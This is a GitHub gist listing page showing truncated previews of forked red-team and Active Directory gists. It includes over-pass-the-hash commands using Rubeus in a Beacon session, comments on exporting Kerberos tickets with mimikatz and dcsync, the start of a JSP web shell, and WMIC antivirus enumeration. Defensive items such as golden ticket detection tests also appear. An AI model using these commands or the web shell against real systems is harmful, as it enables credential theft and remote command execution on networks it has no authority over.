dev2null dev-2null

dev-2null / New-SYSVOLZip.ps1

Created February 6, 2020 09:45 — forked from HarmJ0y/New-SYSVOLZip.ps1

Compresses all of SYSVOL to a local .zip file.

	function New-SYSVOLZip {
	<#
	.SYNOPSIS

	Compresses all folders/files in SYSVOL to a .zip file.

	Author: Will Schroeder (@harmj0y)
	License: BSD 3-Clause
	Required Dependencies: None

dev-2null / decryptKerbTicket.py

Created March 3, 2020 11:17 — forked from xan7r/decryptKerbTicket.py

Decrypt kerberos tickets and parse out authorization data

	#!/usr/bin/env python
	# NOTE: this script was created for educational purposes to assist learning about kerberos tickets.
	# Likely to have a few bugs that cause it to fail to decrypt some TGT or Service tickets.
	#
	# Recommended Instructions:
	# Obtain valid kerberos tickets using Rubeus or mimikatz "sekurlsa::tickets /export"
	# Optionally convert tickets to ccache format using kekeo "misc::convert ccache <ticketName.kirbi>"
	# Obtain appropriate aes256 key using dcsync (krbtgt for TGT or usually target computer account for Service Ticket)
	# Run this script to decrypt:
	# ./decryptKerbTicket.py -k 5c7ee0b8f0ffeedbeefdeadbeeff1eefc7d313620feedbeefdeadbeefafd601e -t ./[email protected][email protected]

dev-2null / kerberos.md

Created March 3, 2020 11:21 — forked from almaz-uno/kerberos.md

Misc about Kerberos (KRB5) authentication mechanism

dev-2null / gist:78c36568aed5dca143d4166016bb259f

Created March 3, 2020 11:22 — forked from HarmJ0y/gist:dc379107cfb4aa7ef5c3ecbac0133a02

Over-pass-the-hash with Rubeus and Beacon

	##### IF ELEVATED:

	# grab a TGT b64 blob with a valid NTLM/rc4 (or /aes256:X)
	beacon> execute-assembly /home/specter/Rubeus.exe asktgt /user:USER /rc4:NTLM_HASH

	# decode the base64 blob to a binary .kirbi
	$ base64 -d ticket.b64 > ticket.kirbi

	# sacrificial logon session (to prevent the TGT from overwriting your current logon session's TGT)
	beacon> make_token DOMAIN\USER PassWordDoesntMatter

dev-2null / Get-KerberosTicketGrantingTicket.ps1

Created March 4, 2020 13:39 — forked from jaredcatkinson/Get-KerberosTicketGrantingTicket.ps1

Kerberos Ticket Granting Ticket Collection Script and Golden Ticket Detection Tests

	function Get-KerberosTicketGrantingTicket
	{
	<#
	.SYNOPSIS

	Gets the Kerberos Tickets Granting Tickets from all Logon Sessions

	.DESCRIPTION

	Get-KerberosTicketGrantingTicket uses the Local Security Authority (LSA) functions to enumerate Kerberos logon sessions and return their associate Kerberos Ticket Granting Tickets.

dev-2null / cmd.jsp

Created May 25, 2020 09:59 — forked from ErosLever/cmd.jsp

A simple and minimal yet effective JSP Web Shell that escapes command output as HTML entities as needed.

	<form method="GET" action="">
	<input type="text" name="cmd" />
	<input type="submit" value="Exec!" />
	</form> <%!
	public String esc(String str){
	StringBuffer sb = new StringBuffer();
	for(char c : str.toCharArray())
	if( c >= '0' && c <= '9' \|\| c >= 'A' && c <= 'Z' \|\| c >= 'a' && c <= 'z' \|\| c == ' ' )
	sb.append( c );
	else

dev-2null / wmic_cmds.txt

Created November 3, 2020 14:23 — forked from xorrior/wmic_cmds.txt

Useful Wmic queries for host and domain enumeration

	Host Enumeration:

	--- OS Specifics ---
	wmic os LIST Full (* To obtain the OS Name, use the "caption" property)

	wmic computersystem LIST full

	--- Anti-Virus ---

	wmic /namespace:\\root\securitycenter2 path antivirusproduct

dev-2null / KDCProxy.ps1

Created February 18, 2022 07:56 — forked from jborean93/KDCProxy.ps1

Functions to help set up a KDC proxy server and add client proxy servers - https://syfuhs.net/kdc-proxy-for-remote-access

	# Copyright: (c) 2022, Jordan Borean (@jborean93) <[email protected]>
	# MIT License (see LICENSE or https://opensource.org/licenses/MIT)

	Function Install-KDCProxyServer {
	<#
	.SYNOPSIS
	Set up a KDC Proxy server.

	.DESCRIPTION
	Sets up the KDC proxy server on the current host.

dev-2null / clr_via_native.c

Last active July 17, 2024 08:42 — forked from xpn/clr_via_native.c

A quick example showing loading CLR via native code

	#include "stdafx.h"

	int main()
	{
	ICLRMetaHost *metaHost = NULL;
	IEnumUnknown *runtime = NULL;
	ICLRRuntimeInfo *runtimeInfo = NULL;
	ICLRRuntimeHost *runtimeHost = NULL;
	IUnknown *enumRuntime = NULL;
	LPWSTR frameworkName = NULL;

dev-2null / unmanaged_dotnet_unhook_etw.c

Created July 22, 2022 06:22 — forked from xpn/unmanaged_dotnet_unhook_etw.c